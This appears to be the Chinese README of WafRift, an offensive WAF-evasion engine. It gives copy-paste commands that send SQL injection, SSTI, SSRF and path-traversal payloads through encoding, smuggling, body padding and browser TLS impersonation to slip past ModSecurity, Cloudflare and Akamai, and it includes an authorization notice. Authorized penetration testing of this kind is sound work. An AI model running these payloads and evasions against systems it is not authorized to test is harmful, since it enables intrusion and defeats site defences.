santhsecurity/wafrift
GitHub: santhsecurity/wafrift
基于 Rust 构建的可编程 WAF 规避引擎,通过编码变异、语法篡改、请求走私和演化学习等手段自动发现并持久化绕过策略。
Stars: 1 | Forks: 0
# WafRift
[](https://github.com/santhsecurity/wafrift/actions/workflows/ci.yml)
[](#license)
[](https://crates.io/crates/wafrift-cli)
**一个可编程的 WAF 规避引擎,支持独立控制各项技术,并具备可自动学习绕过方式的演化模式。**
其他工具通常只提供单一技巧:垃圾填充、头部注入、走私 或静态篡改列表。WafRift 则是这些技术的集大成者:编码、语法感知的变异、Content-Type 切换、请求走私以及 TLS/HTTP 指纹轮换。CLI 将每种编码策略和语法层作为细粒度的 `--only`/`--exclude` 选择器暴露出来;其余的则作为默认流水线的一部分运行。针对单主机的切换持久化以及 Burp Suite 控制面板已在 [路线图](docs/GAP_CLOSURE_ROADMAP.md) 中规划。释放该引擎,搜索循环(爬山算法 / SA / 禁忌搜索 / 新奇性搜索 / MAP-Elites)将自动发现能够绕过目标 WAF 的方法,并将成功的流水线持久化到每个 WAF 独有的 **基因库** 中,使得下一次扫描无需再经历发现阶段。
## 最新动态 (v0.2.13)
- **代理对抗性扫描 — 修复了 6 个缺陷。**
- **严重** `crates/proxy/src/mitm.rs:214` — 针对字面 IP
地址(`https://127.0.0.1`,`https://[::1]`)的叶证书使用了 dNSName SAN
而不是 iPAddress SAN,导致在每次对私有 IP 进行
MITM 时浏览器都会出现 TLS 错误。现已修复:针对字面 IP 使用 `iPAddress` SAN。
- **高危** `crates/proxy/src/main.rs:1759` — 隐秘响应路径
仅解析第一个 `Connection` 头,导致后续 `Connection`
头中的逐跳令牌向下游泄露。
- **高危** `crates/proxy/src/main.rs:479` — 基因库加载器
静默丢弃了 pre-schema-v0.1 的 flat-HashMap 文件,
导致升级后所有已保存的发现被销毁。
- **高危** `crates/proxy/src/main.rs:598` — `restore_gene_bank`
绕过了 10K 主机内存上限;恶意基因库可能在
启动时耗尽代理内存。
- **中危** `crates/proxy/src/main.rs:626` — `--max-evade-retries`
没有上限;每请求的重试风暴会导致 CPU 占用率居高不下。
- **中危** `crates/proxy/src/tui/state.rs:382` — 在长时间的测试任务中
TUI 主机列表会无限增长。
- **低危** `crates/proxy/src/main.rs:570` — `save_gene_bank` 在
磁盘满 / I/O 错误时会遗留临时文件。
- 在 `evade_retry_cap.rs`、`mitm_ip_san.rs`、
`proxy_tests.rs` 中新增了 367 行 LOC 测试。wafrift-proxy 现已实现
283 / 283 项测试全绿。
## 最新动态 (v0.2.12)
- **渗透测试人员验收扫描。** 修复了两个在测试人员实际
使用该工具时至关重要的问题: `wafrift --quiet evade ... |
head` 不再因 "failed printing to stdout: Broken
pipe" 而发生 panic — 两个二进制文件在启动时都会安装 `SIGPIPE = SIG_DFL`(这是
经典的 Unix CLI 惯用法)。已通过回归测试锁定。 README 新增了 Burp Suite / Caido / mitmproxy 上游代理
链式配置说明,因此 `Browser → Burp → wafrift-proxy → Target` 已实现了
端到端的文档化,包括标准的 8080 端口冲突
解决方法。
- **SSRF 主机名中 NUL 字符的引擎修复。** `SsrfOracle` 现在通过
去除 `://` 之后第一个编码或字面上的 NUL 字符,
重新解析前缀,并在解析出的 host 本身是 SSRF 指标时予以接受,
从而挽救了 CVE-2017-15046 系列(`http://127.0.0.1%00.evil.com/` 及其
字面 NUL 孪生体)。该挽救操作由解析的
`host_str()` 进行控制,因此现有的公共主机子字符串误报无法
利用此新路径。已通过 9 个语料库测试(包括一个
负向孪生测试)进行锁定。
- **文档测试覆盖率从 1 提升至 28**,覆盖所有 16 个库 crate。每个
公共 API 现在都附带一个可运行的示例,该示例可编译、在 `cargo test --doc` 下运行,
并在 docs.rs 上渲染。
- **B 级 TOML 迁移。** 跨 7 个源文件的 16 个硬编码 `const X: &[&str]` 列表
已移至每个 crate `rules/` 目录下的 TOML 数据中:WAF 拦截指标 (13),XSS 验证
分类 (70),XSS 变异器语料库 (42),SSRF 方案 (10),SSTI
内省标记 (20),LDAP 语法 (16),HTTP/2 GOAWAY
短语 (4)。通过 `OnceLock` + `include_str!` 加载,因此 cargo install 仍会生成一个独立的二进制文件。现在,社区可以在不接触 Rust 的情况下扩展约 155 个条目。
- **CI 强化。** 新增 `cargo audit` 任务(设置为 continue-on-error,这样
传递依赖的警告不会阻止 PR 合并,但仍然保持
可见)。`manpage_in_sync.rs` 回归测试可在合并前捕获
`docs/man/wafrift.1` 的漂移 — 在此关卡之前,联机手册在之前的三个版本
(0.2.1, 0.2.11, 0.2.12)中发布时均已过时。`rust-version` 已从 1.85 同步至 1.88,以匹配 CI 实际验证的版本。
- **工作区优化。** 严苛的 clippy 警告从 936 条降至约 440 条;
`clippy::doc_markdown` 从 287 条清零,因此每个公共文档字符串都能在 docs.rs 上干净地渲染。三个简短的 crate README
(`wafrift-types`, `wafrift-content-type`, `wafrift-pool`)
已从单段落存根扩展为包含 API 接口、稳定性说明和用法的结构化页面。公共 API 接口上的五个 `#[allow(dead_code)]` 标记已移除。`core/tests/encoding_*`(12 处)中的编码测试已强化为带有跨度和直通检查的字节级精确的 %-编码断言。孤立的 `oracle/src/test_url.rs` 已删除;URL 语料库已被挽救为一个真正的 `ssrf_loopback_bypass_corpus` 集成测试。2926 / 2926 工作区测试全绿。
## 最新动态 (v0.2.11)
- **审计驱动的强化扫描(批次 1–9,v0.2.4 → v0.2.11)。**
九个审查批次在整个工作区中落地了严重 / 高危 / 中危的可信
修复:在 cookie `Domain=` 上的 PSL 超级 cookie 保护(`transport`);
针对 `StealthClient` 的每请求 DNS 固定,以消除主机名重绑定;
XSS 信号评分的精确重写(`grammar`);`EvasionConfig.allow_private_upstream`(默认为 `false`)除非明确选择启用,否则会阻止 RFC1918 / 回环 / 链路本地 SSRF;全局挑战提示上限中的每主机公平性;在丢弃的 MCTS 评估上的预算偿还;状态感知分类器消除了 200-OK 误报;`HostState` 总计提升至 `u64`;cookie 值中拒绝了 CRLF/NUL/`;` 以阻止 HTTP 请求分割;`oracle` cmdi OOM 和 ssrf "0" 指标误报修复;基准测试工具、MITM 证书构建器、拦截 GC、学习缓存原子保存和 content-type 唯一边界连接均得到了强化。30 个空洞的 content-type 测试 + 3 个走私 基本警报被替换为严格的结构断言。
2892 / 2892 工作区测试在 v0.2.11 版本中全绿。
- **基因组注册表 (`wafrift-genome-registry`)** — 经 ed25519 签名的
社区规避捆绑包,确定性规范编码,
位于 `~/.wafrift/trusted-keys.toml` 的信任列表,通过
`wafrift bank` 呈现。
- **`captchaforge` 适配器 (`wafrift-captchaforge-bridge`)** —
可选的托管质询解决器,将 chromiumoxide 解决器
订阅到 wafrift 的质询流程中。`wafrift-proxy --captchaforge`。
- **`wafrift bypass-probe URL`** — Tsai 级别的差异化的漏洞
发现器。针对单个 URL 或 `--paths-file`
列表,发射 136 个身份验证绕过头探测
以及路径路由变体和 HTTP 方法覆盖,
将每个响应与基线进行分类,并附带可重现的 `curl` 命令报告高 / 中 / 低危差异。
有界并发(默认 `--concurrency 8`)— 12 个路径 × 每个约 190 个
探测在不到 1 秒内完成。
## 早期更改 (v0.2.3)
- **`wafrift bypass-probe URL`** — Tsai 级别的差异化漏洞
发现器。针对单个 URL 或 `--paths-file`
列表,发射 136 个身份验证绕过头部探测
以及路径路由变体和 HTTP 方法覆盖,
将每个响应与基线进行分类,并附带可重现的 `curl` 命令报告高 / 中 / 低危差异。
有界并发(默认 `--concurrency 8`)— 12 个路径 × 每个约 190 个
探测在不到 1 秒内完成。
- **`wafrift evade --payload "http://allowed.com/"`** 现在生成
完整的 Orange-Tsai 解析器混淆系列(基本 userinfo,
GitLab CVE-2018-19571 fragment-userinfo,query-userinfo,反斜杠,
`%40` / `%2540`,port-then-userinfo,授权中的换行符 / 空字符)
用于 SSRF 载荷 — 使用用户的输入主机作为掩护,
并通过 userinfo 位置轮换云元数据目标。
- **`wafrift-proxy --tui`** 重写为真正的 MITM 实时查看器。
三个选项卡(Flow / Overview / Hosts),每请求的检查面板
显示双向内容(headers + body 摘录),实时 req/s + bypasses/s 波形图,按状态分级的着色。`j`/`k` 导航,`Enter` 检查,`Tab` 切换选项卡。
- **`wafrift-proxy --mitm`** 不再在 HTTPS 上中止 — rustls
CryptoProvider 现在在启动时安装。已针对 `example.com` 进行端到端验证。
- **稳定性**:以前单个 100 KB 的 POST 就会挂起代理并在
负载下使其级联崩溃(在 MCTS 迭代中持有全局 mutex)。现在锁会在外部获取状态快照并运行规避。
50 个并发请求 → 50 个 HTTP 200,而不是全部超时。
- **基准测试语料库**:579 → 607 个用例。新增 TOML 文件用于
解析器混淆授权(SSRF)和路由分歧(path)。
- 完整的 v0.2.3 条目请参见 `CHANGELOG.md`(锁修复、MCTS body
预算、另外三个 UTF-8 变异器 panic、`--insecure` 警告、
基因库竞争修复、十一个错位的测试块被挽救、clippy
`-D warnings` 干净)。
## 实测绕过率
以下每个数字均可从
[`wafrift-bench/`](./wafrift-bench/) 中的基准测试工具复现。方法论请参见
[`wafrift-bench/methodology.md`](./wafrift-bench/methodology.md);
机器可读的 JSON 位于 `wafrift-bench/results/`。
**目标:ModSecurity + OWASP CRS(部署最广泛的开源 WAF)。**
语料库:跨 10 个攻击类别的 557 个用例(sql / xss / cmdi / ssti /
path / ldap / xxe / ssrf / nos / log4shell)。组合了 10 种规避策略:载荷字符串变异、MCTS (mctrust 0.4)、HTTP 走私、content-type 混淆、ReDoS、爬山算法、模拟退火、禁忌搜索、新奇性搜索、MAP-Elites。经过 Oracle 验证的(每次“绕过”都在结构上被验证为有效攻击,而不是偶然漏过的垃圾数据)。
| 偏执级别 | 发送变体数 | 已绕过 | 绕过率 | 成功用例数 ≥1 |
|---|---:|---:|---:|---:|
| **PL=1** (默认) | 46k | 16.7k | **36%** | **557 / 557 (100%)** |
| PL=2 | 60k | 17.6k | 29% | 557 / 557 (100%) |
| PL=3 | 60k | 17.3k | 28% | 557 / 557 (100%) |
| **PL=4** (最激进) | 60k | 16.3k | **27%** | **557 / 557 (100%)** |
**在每个偏执级别(包括最偏执的 CRS 预设 PL=4):当应用包含 60 种以上变体的完整策略堆栈时,语料库中的每一个攻击用例都至少有一种有效的绕过方法。** 一旦存在有效的规避种子,每主机基因库(`~/.wafrift/genomes/`)将无限期地重放它,因此
针对同一 WAF 的后续扫描将从零发现阶段开始。
**这个数字并不意味着什么。** “557/557 个用例被绕过”是一个搜索预算结果,而不是一次性绕过率。在仅使用代理及其默认设置(没有 `--max-evade-retries`,仅进行 HTTP 层升级)的情况下,针对 PL=4 的一个赤裸裸的 SQLi 通常仍然会被阻止:代理当前不会改变 URL 注入的载荷字节,只会改变 HTTP 层产物(UA / headers / body 编码)。载荷字节变异存在于 `wafrift scan` 和 `wafrift bench-waf` 中。有关实践示例,请参见
[`docs/PRACTITIONER_WALKTHROUGH.md`](./docs/PRACTITIONER_WALKTHROUGH.md)。
```
# Reproduce
git clone https://github.com/santhsecurity/wafrift && cd wafrift
wafrift-bench/scripts/up.sh modsec-pl4
cargo run --release -p wafrift-cli -- bench-waf \
--base-url http://127.0.0.1:18084 \
--corpus wafrift-bench/corpus \
--evade --variants 20 \
--strategies heavy,mcts,smuggling,content-type,redos,hill-climb,sim-anneal,tabu,novelty,map-elites,differential \
--oracle-gate \
--output repro.json
jq .evaded_summary repro.json
```
## WafRift 的对比
| 工具 | 编码 | 语法变异 | 走私 | Content-Type 切换 | 每主机学习 | 正向代理 | 重放 |
|---|:-:|:-:|:-:|:-:|:-:|:-:|:-:|
| sqlmap `--tamper` | 部分 | 仅 SQL | – | – | – | 通过 `--proxy` | – |
| Burp `nowafpls` | – | – | – | – | – | Burp 扩展 | – |
| Burp "Bypass WAF" | 头部技巧 | – | – | – | – | Burp 扩展 | – |
| HTTP Request Smuggler | – | – | 是 | – | – | Burp 扩展 | – |
| **WafRift** | **15+ 种策略** | **SQL/XSS/CMD/SSTI/path/LDAP/SSRF** | **CL.TE / TE.CL / TE.TE** | **multipart/json/xml** | **基因库** | **独立运行 + MITM** | **确定性** |
WafRift 并不取代 sqlmap(对于未受保护的目标,它仍然是合适的端到端 SQLi 漏洞利用工具)或 Burp(对于交互式会话,它仍然是合适的拦截 GUI)。当这些工具被 WAF 阻止时,WafRift 是您需要添加的规避层。一旦存在有效的规避种子,每主机基因库(`~/.wafrift/genomes/`)将无限期地重放它 — Cloudflare 扫描在随后的每次运行中都会以经过验证的绕过方式开始,**零发现阶段**。语法变异根据 `sqlparser-rs` AST 等效性进行了验证,因此 SQL 变体确实能够被解析 — 大多数篡改器发送的是损坏的载荷而自己却不知道。
## 安装说明
### 预编译二进制文件(推荐)
从 [GitHub Releases](https://github.com/santhsecurity/wafrift/releases) 下载适用于您平台的最新版本:
```
# Linux (x86_64)
curl -sSfL https://github.com/santhsecurity/wafrift/releases/latest/download/wafrift-$(uname -m)-unknown-linux-gnu.tar.gz | tar xz
sudo mv wafrift wafrift-proxy /usr/local/bin/
# macOS (Apple Silicon)
curl -sSfL https://github.com/santhsecurity/wafrift/releases/latest/download/wafrift-aarch64-apple-darwin.tar.gz | tar xz
mv wafrift wafrift-proxy /usr/local/bin/
```
### 从 crates.io 安装
```
cargo install wafrift-cli --version '>=0.2.13'
# Optional: TLS impersonation (rquest 5.x + BoringSSL, adds boring-sys C build)
cargo install wafrift-proxy --version '>=0.2.13' --features tls-impersonate
```
这将安装 `wafrift` 和 `wafrift-proxy` 二进制文件。需要 Rust 工具链支持。
### 从源码安装
```
git clone https://github.com/santhsecurity/wafrift && cd wafrift
cargo install --path crates/cli
```
## 快速入门
选择您的工作流程:每个都可直接复制粘贴使用。
### 🏁 CTF:"我找到了 SQLi 但存在 WAF"
```
# Get bypass variants instantly (offline, no target needed)
wafrift evade --payload "' OR 1=1--" --level heavy
# Found a WAF? Fire all variants and see what gets through
wafrift scan --target http://ctf.example/vuln --payload "' OR 1=1--"
```
### 🔍 渗透测试:"WAF 拦截了 sqlmap/ffuf"
```
# Start the evasion proxy
cargo run -p wafrift-proxy -- --listen 127.0.0.1:8080
# Route your tools through it
sqlmap -u "https://target/x?id=1" --proxy="http://127.0.0.1:8080"
ffuf -x http://127.0.0.1:8080 -u https://target/FUZZ -w wordlist.txt
# Check live findings mid-session
curl http://127.0.0.1:8080/_wafrift/findings.md
```
### 🎯 漏洞赏金:"扫描这个目标,给我报告"
```
# Full autonomous scan with JSON output
wafrift scan --target https://target.com --payload "' UNION SELECT 1--" \
--param id --format json --output results.json
# Generate a markdown writeup from findings
wafrift report --only-host target.com --output writeup.md
```
### 🗺️ 发现:"我有一个 OpenAPI 规范 / GraphQL 端点,找出注入点"
```
# Parse an OpenAPI 2.0/3.x JSON spec into structured injection points
wafrift discover --spec api.json --format json --output endpoints.json
# Probe a GraphQL server's introspection schema
wafrift discover --target https://api.example.com/graphql --introspect
# Differential parameter mining against a single endpoint
wafrift discover --target https://app.example.com/search \
--mine-params --wordlist /path/to/burp-parameter-names.txt
# Combine modes; results are deduplicated by (method, url) and emit
# `DiscoveredEndpoint` JSON suitable for piping into `wafrift scan`.
wafrift discover --spec api.json --target https://app.example.com \
--introspect --mine-params --wordlist params.txt --format json
```
每个注入点都带有从规范的媒体类型推断出的 `ParameterLocation`(Query / Path /
Header / Cookie / Body)、`InjectionContext`(`JsonString` /
`UrlQuery` / `XmlText` / `MultipartField` 等)以及一个 `required` 标志:这让 `wafrift scan` 能够选择上下文感知的编码,而不是盲目猜测。
### 🛡️ 隐秘行动:"Cloudflare/Akamai 在我甚至还没开始探测时就根据 JA3 封锁了我"
```
# One-time: build with the BoringSSL impersonation feature.
cargo install wafrift-proxy --features tls-impersonate
# Run the proxy wearing a real Chrome 131 ClientHello on every
# upstream forward. JA3 / JA4 / h2 SETTINGS all match a real browser
# bytes-for-bytes: edge WAFs that classify on TLS fingerprint
# (Cloudflare bot management, Akamai, Sigsci, Imperva Bot Protection)
# see "browser" instead of "rustls" and let the connection through to
# inspection, where wafrift's HTTP-level evasion takes over.
wafrift-proxy --listen 127.0.0.1:8080 --tls-impersonate chrome131
# Profiles: chrome131, chrome120, edge131, firefox133, safari18,
# safari17_5, okhttp5; aliases `chrome`, `firefox`, `safari`, `edge`
# resolve to the latest-of-family. See docs/TLS_PARITY.md.
# Now sqlmap / ffuf / curl through this proxy gets through edge TLS
# fingerprinting without any extra config.
sqlmap -u "https://target.cloudflare-protected.com/x?id=1" --proxy=http://127.0.0.1:8080
```
#### 每请求指纹轮换 + Body 填充
云 WAF 仅检查请求体的前导字节(Cloudflare Pro 为 8 KB,AWS WAF 为 16 KB,Akamai 为 8 KB):填充超过该窗口,规则引擎就永远不会看到恶意字节。结合 TLS 配置文件轮换和每次请求使用全新的 TCP 源端口:
```
wafrift-proxy --listen 127.0.0.1:8080 \
--tls-impersonate-rotate chrome131,firefox133,safari18 \
--body-padding-bytes 16384 \
--no-conn-reuse \
--tui
```
- `--tls-impersonate-rotate` 在列出的浏览器配置文件中进行轮询。可挫败基于特定指纹的速率限制和信誉机制。
- `--body-padding-bytes 16384` 通过新增的 `_wafrift_pad` 字段/部分,在每个 JSON / form-urlencoded / multipart body 前置 16 KB 的惰性填充物。云 WAF 会错过载荷;而源站则能正确解析它。
- `--no-conn-reuse` 为每次上游转发打开一个新的 TCP 连接(内核每次都会选择一个新的临时源端口)。
- `--tui` 打开一个实时终端仪表板(每主机绕过率,TLS 轮换分布,填充 body 计数器,实时请求流)。按 `q` 优雅关机,按 `r` 重置计数器。
### 🔴 红队:"针对同一 WAF 的持久规避"
```
# First scan learns what bypasses the WAF in front of target.com
# (wafrift detects the WAF automatically and tags genome by name)
wafrift scan --target https://target.com --payload "' OR 1=1--"
# Subsequent scans against any target behind the same WAF start in
# rotation mode (zero discovery). Genome at ~/.wafrift/genomes/.json
# persists across sessions.
wafrift scan --target https://other-target-same-waf.com --payload "' OR 1=1--"
# Replay a finding deterministically (exits 0 on bypass, 2 on block).
# --from-waf reads the genome wafrift's detect step identified earlier
# (e.g. "ModSecurity"); --from-host pulls from the proxy gene-bank.
wafrift replay --target https://target.com --param id \
--payload "' OR 1=1--" --from-waf ModSecurity
```
## 操作员参考
上述针对不同角色的快速入门涵盖了大多数工作流程。有三个领域值得单独列出参考,因为它们很容易被忽略。
### 实时 MITM 仪表板 (`wafrift-proxy --tui`)
三个选项卡。使用 `Tab` 或 `1`/`2`/`3`(或 `f`/`o`/`h`)切换。
- **Flow** — 包含 500 个请求的有界环形缓冲区,带有按状态分级的着色(2xx 绿色,3xx 青色,4xx 黄色,5xx 红色;结果 BYPASS 显示为绿色,BLOCK 为红色,PASS 为白色)。`j`/`k` 导航,`g`/`G` 跳至第一条/最后一条,`Enter` 切换显示完整检查内容的侧边详情面板:传出请求行 + 每个规避后的 header + body 摘录;传入响应状态 + 每个 header + body 摘要;汇总块(WAF、尝试次数、延迟、body 填充、TLS 配置文件、技术链、总响应大小)。下方有两条波形图:最近 60 秒内的 req/s 和 bypasses/s。
- **Overview** — 计数器、TLS 轮换表盘、已识别的 WAF。
- **Hosts** — 可按发送计数排序的每主机绕过表格,带有绕过率颜色分级和已识别的 WAF 列。
- `q` / `Esc` 退出(会优雅地刷新基因库)。
### 细粒度技术选择
每种编码策略和语法层都可以作为分层路径进行寻址。列出树状结构,然后按命令包含或排除:
```
wafrift techniques list # see the tree
wafrift evade --payload "' OR 1=1--" --only encoding/url
wafrift scan --target http://target.com --payload "' OR 1=1--" \
--exclude encoding/url/triple,encoding/sql/comment
```
未知的选择器会立即报错 — 不会静默丢弃。
### 差异化绕过探测 (`wafrift bypass-probe`)
针对 Tsai 级别的边界不匹配漏洞(由 WAF 头部规则保护的管理面板、`X-Original-URL` 重写、ProxyShell 风格的路由分歧、IP 信任欺骗),将 bypass-probe 指向资源并让它发射完整的 136 个身份验证绕过探测集以及路径/方法变体:
```
# Single URL
wafrift bypass-probe https://target/admin --concurrency 16
# Whole admin surface from a list
cat > paths.txt < findings.json
```
每个差异(状态翻转、body 差异)都会附带一条可重现的 `curl` 单行命令进行报告。
### Burp Suite / Caido / mitmproxy 链式连接
WafRift 是一个正向 HTTP 代理,可以与任何其他拦截代理并行插入。传统的渗透测试布局是:
```
Browser → Burp (8080) → wafrift-proxy (8181) → Target
▲ ▲
│ └── applies WAF evasion (encoding,
│ CT switching, padding, fingerprint
│ rotation, MCTS) before forwarding
│
└── operator inspects/edits requests in Burp's UI as usual
```
在不同的端口上运行 wafrift-proxy(Burp 默认占用 8080;使用 8181 或任何空闲端口),并告诉 Burp 将其用作目标主机的“Upstream Proxy Server”:
```
# 1. Start wafrift-proxy on 8181 with whichever evasion config you want.
wafrift-proxy --listen 127.0.0.1:8181 \
--content-type-switching \
--max-rps-per-host 5 \
--tls-impersonate-rotate chrome131,firefox133
# 2. In Burp: User options → Connections → Upstream Proxy Servers
# → Add → Destination host: target.example.com
# Proxy host: 127.0.0.1 Proxy port: 8181
#
# Caido has the same setting under Settings → Proxies → Upstreams.
# mitmproxy: mitmdump --mode upstream:http://127.0.0.1:8181
```
Burp 选项卡仍会显示每个请求,并允许您拦截/重放/限定范围;wafrift-proxy 在上游转发之前应用规避,并将绕过情况记录到其基因库中 — 因此,随后对同一目标的运行将从已学习到的成功者开始,而不是零发现。
要直接通过 wafrift 的规避流水线重放捕获的 Burp 请求(无需代理链),请复制为 cURL 并通过管道传递给 `import-curl`:
```
# Burp → right-click request → Copy as cURL → save to /tmp/req.curl
xclip -o > /tmp/req.curl
wafrift import-curl /tmp/req.curl --evade --output /tmp/scan.json
```
设置 `--quiet` 后,CLI 输出为以换行符分隔的 JSON,因此可以通过管道清晰地传递给 `jq`、`head`、`grep -m 1` 等。(`SIGPIPE` 会被静默处理 — 在 `wafrift evade ... | head` 时不会发生管道破裂导致的 panic)。
### 代理范围、速率限制、实时发现
```
# Only evade *.example.com on JSON API endpoints; skip login + static.
wafrift-proxy --listen 127.0.0.1:8080 --mitm \
--only-host '*.example.com' \
--skip-path '/static/*,/oauth/*,/login,/favicon.ico' \
--only-method 'POST,PUT,PATCH,DELETE'
# Token bucket: 5 req/s per upstream host, burst of 10.
wafrift-proxy --listen 127.0.0.1:8080 --mitm \
--max-rps-per-host 5 --max-rps-per-host-burst 10
# Live findings, loopback-only:
curl http://127.0.0.1:8080/_wafrift/findings.md # markdown writeup
curl http://127.0.0.1:8080/_wafrift/status # JSON (per-host stats)
```
Glob 使用一种微型的 ASCII 语法(`*` 匹配任何序列,`?` 匹配一个字节,不区分大小写)。`--skip-host`/`--skip-path` 会在其对应的 `--only-*` 对等项之后进行评估。
### 授权
`wafrift-proxy` 默认拒绝位于私有/回环/RFC1918/链路本地范围内的上游目标;仅当针对您拥有的实验室目标时才传递 `--allow-private-upstream`。`wafrift replay` 和 `bypass-probe` 会发送真正可利用的字符串:仅对您控制的系统或您拥有明确书面授权进行测试的系统运行它们。
### CTF / 渗透测试快速指南
安全从业者常遇到的五种常见场景。每个指南都是一条单独的命令:除了 `cargo install wafrift-cli`(或 `docker run santhsecurity/wafrift`)以及您本来就需要测试的 `--target`/`--payload` 之外,无需其他设置。
**1. SQL 注入登录绕过。** WAF 阻止了 `' OR 1=1--`;找到一个能成功着陆的变体。
```
wafrift scan --target https://target/login \
--payload "' OR 1=1--" --param username --level heavy
```
输出将打印是哪个规避技术链产生了绕过。稍后可以使用保存在基因库中的精确链进行重放:第二次运行将跳过发现阶段。
**2. 服务器端模板注入 (SSTI)。** `{{7*7}}` 的变体,WAF 允许但其引擎仍然会进行求值。
```
wafrift scan --target https://target/profile \
--payload "{{7*7}}" --param name --level heavy --only grammar/ssti,encoding
```
`--only grammar/ssti,encoding` 保持搜索集中在焦点上:针对单一模板反射运行完整的流水线是很慢的。
**3. 针对内部管理员的 SSRF。** 将 `127.0.0.1:9000` 请求走私经过一个仅将字符串 `127.0.0.1` 列入黑名单的 WAF。
```
wafrift scan --target https://target/preview \
--payload "http://127.0.0.1:9000/admin" --param url --level heavy \
--only encoding,grammar/ssrf
```
差异化探测集 (`wafrift probe`) 列出了该类别中 WAF 能可靠阻止的子技术,当扫描结果为空且您需要了解不该重试什么时,这非常方便。
**4. 路径遍历 / LFI。** WAF 阻止了 `../`;找到一个能幸存下来的变体。
```
wafrift scan --target https://target/static \
--payload "../../../etc/passwd" --param file --level heavy \
--only encoding/url,encoding/unicode,grammar/path
```
**5. XML body 中的 XXE。** 实践者将请求 body 保存在一个文件中;希望以完全相同的 body 形状进行扫描。
```
# Copy the request as cURL out of Burp/ZAP, paste through import-curl:
pbpaste | wafrift import-curl --from-stdin \
--param xmlData --payload ']>&x; ' \
--level heavy
```
**保存和重放发现。** 一旦某个指南成功绕过,请将其持久化到基因库中,以便后续运行(或队友)无需重新进行发现:
```
wafrift seed --waf modsec-crs --technique EncodingDoubleUrl,GrammarTautology
wafrift bank export --output bundle.json # share with teammate
wafrift bank import bundle.json # on teammate's machine
```
确定性地重放任何已保存的发现:
```
wafrift replay --target https://target/login --param username \
--payload "' OR 1=1--" --from-host target # exits 0 on bypass, 2 on block
```
## 系统架构
```
wafrift
├── crates/
│ ├── types # Core types: Request, Technique, EvasionResult
│ ├── encoding # 15+ encoding strategies (URL, Unicode, HTML entity, chunked, etc.)
│ ├── grammar # Grammar-aware payload mutations (SQLi, XSS, CMD, SSTI, SSRF, LDAPi, path traversal)
│ ├── content-type # Content-Type switching (JSON, XML, multipart, etc.)
│ ├── smuggling # HTTP request smuggling (CL.TE, TE.CL, H2)
│ ├── fingerprint # Browser fingerprint rotation (User-Agent, TLS, headers)
│ ├── detect # WAF fingerprinting (160+ WAFs via TOML rules)
│ ├── evolution # Genetic algorithm: crossover, mutation, fitness, MCTS, differential probing
│ ├── oracle # Multi-signal response classification (block / bypass / challenge / rate-limit)
│ ├── strategy # Pipeline orchestrator + gene bank + learning cache + adaptive host state
│ ├── transport # Evasion-aware HTTP client with auto-retry
│ ├── proxy # HTTP forward proxy with per-host adaptive evasion
│ ├── pool # Proxy pool rotation (round-robin HTTP/SOCKS5)
│ ├── recon # Origin discovery via OSINT (CT logs, DNS history)
│ └── cli # Interactive TUI + headless scan/evade/detect/probe commands
```
## 作为库使用
导入外观 crate 以将所有模块置于单一依赖项下,或拉取单独的 crate(见下文)。
```
[dependencies]
wafrift-core = "0.1"
tokio = { version = "1", features = ["rt-multi-thread", "macros"] }
```
```
use wafrift_core::encoding::{self, Strategy};
#[tokio::main]
async fn main() -> Result<(), Box> {
let encoded = encoding::encode(b"' OR 1=1--", Strategy::UnicodeEncode)?;
println!("{encoded}");
Ok(())
}
```
CLI 实时 `scan` 流程由 `wafrift-strategy`、`wafrift-transport` 和 `wafrift-detect` 构建;如果您需要相同的流水线但不想要二进制文件,请直接嵌入这些 crate。
## 作为单独的 crate 使用
只使用您需要的那一部分:无需导入整个引擎。
```
[dependencies]
wafrift-encoding = "0.1" # 15+ encoding strategies
wafrift-grammar = "0.1" # SQL/XSS/CMD/SSTI dialect mutations
wafrift-detect = "0.1" # WAF fingerprinting (160+ WAFs via TOML rules)
wafrift-smuggling = "0.1" # HTTP request smuggling probes
wafrift-evolution = "0.1" # Genetic/novelty/MAP-Elites bypass search
wafrift-oracle = "0.1" # Response verdict classification
wafrift-strategy = "0.1" # Per-WAF evasion pipeline planning
```
```
use wafrift_encoding::{Strategy, encode};
let encoded = encode(b"' OR 1=1--", Strategy::UnicodeEscape)?;
```
## 社区规则 (B 级)
WAF 签名、规避流水线和走私探测以 TOML 文件的形式存在于 `rules/` 中。检测目录(160 多个 WAF)源自 [wafw00f](https://github.com/EnableSecurity/wafw00f)(BSD-3-Clause)加上来自 [identYwaf](https://github.com/stamparm/identYwaf)(MIT)的精选贡献以及本地研究的补充;每个 TOML 规则都带有一个指向其来源的 `source` 字段。添加新的 WAF = 5 行 TOML,无需了解 Rust:
```
# rules/detect/mywaf.toml
name = "MyWAF"
vendor = "Example Corp"
confidence_weight = 0.9
[[headers]]
name = "Server"
pattern = "MyWAF/\\d+"
[[body_patterns]]
pattern = "(?i)blocked by MyWAF"
evasions = ["encoding::unicode", "grammar::tautology_swap"]
```
放入 `rules/detect/` 目录中,探测器在启动时就会加载它。
## 基因库
WafRift 会记住哪些方法有效。每次扫描后,学习到的技术都会持久化到 `~/.wafrift/genomes/.json`:
```
{
"waf_name": "Cloudflare",
"techniques": [
{ "name": "encoding::UnicodeEncode", "total_successes": 13, "total_attempts": 13 },
{ "name": "encoding::HtmlEntityEncode", "total_successes": 13, "total_attempts": 13 },
{ "name": "tautology_swap", "total_successes": 56, "total_attempts": 56 }
],
"targets_scanned": 3
}
```
下次您扫描 Cloudflare 站点时,这些技术会自动加载。
## 代理反馈循环
代理会不断学习:
```
Request → evade() → forward → observe 200/403
↑ |
└── feedback loop ──────┘
Discovery → Rotation → Drift Detection → Re-Discovery
```
- **发现阶段**:尝试所有技术,跟踪成功/失败率
- **轮换阶段**:一旦找到 ≥60% 的成功者,仅使用这些(轮询调度)
- **漂移阶段**:如果某个成功者连续 2 次被阻止,则将其驱逐
- **重新发现阶段**:如果所有成功者都被驱逐,则清空并重新开始
## 规避技术
| 类别 | 技术 |
|----------|-----------|
| **编码** | URL,双重 URL,三重 URL,Unicode,IIS Unicode,HTML 实体,十六进制,Base64,UTF-7,超长 UTF-8,分块拆分,参数污染,空字节 |
| **语法** | 重言式交换,无关键字算术,注释插入,空白变体,关键字大小写,字符串拆分,十六进制字面量,特定方言 (MySQL/PG/MSSQL/Oracle/SQLite) |
| **Content-Type** | JSON body,XML body,multipart form-data 切换 |
| **Headers** | 大小写混合,头部注入,重复头部,HPP |
| **指纹** | User-Agent 轮换,TLS 指纹,Accept-Language |
| **走私** | CL.TE,TE.CL,HTTP/2 混合大小写头部,H2 伪头部滥用 |
